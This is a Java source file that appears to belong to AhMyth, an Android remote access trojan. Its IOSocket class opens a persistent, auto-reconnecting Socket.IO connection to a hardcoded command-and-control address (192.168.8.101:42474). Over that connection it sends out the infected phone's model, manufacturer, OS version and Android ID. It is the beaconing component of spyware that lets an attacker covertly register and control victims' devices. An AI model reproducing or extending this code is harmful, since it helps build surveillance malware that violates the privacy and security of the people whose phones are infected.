content: package ahmyth.mine.king.ahmyth;
  
  import android.os.Build;
  import android.provider.Settings;
  import java.net.URISyntaxException;
  import io.socket.client.IO;
  import io.socket.client.Socket;
  
  
  /**
   * Created by AhMyth on 10/14/16.
   */
  public class IOSocket {
      private static IOSocket ourInstance = new IOSocket();
      private io.socket.client.Socket ioSocket;
  
  
  
      private IOSocket() {
          try {
  
              String deviceID = Settings.Secure.getString(MainService.getContextOfApplication().getContentResolver(), Settings.Secure.ANDROID_ID);
              IO.Options opts = new IO.Options();
              opts.reconnection = true;
              opts.reconnectionDelay = 5000;
              opts.reconnectionDelayMax = 999999999;
  
              ioSocket = IO.socket("http://192.168.8.101:42474?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
          } catch (URISyntaxException e) {
              e.printStackTrace();
          }
      }
  
  
      public static IOSocket getInstance() {
          return ourInstance;
      }
  
      public Socket getIoSocket() {
          return ioSocket;
      }
  
  
  
  
  }
  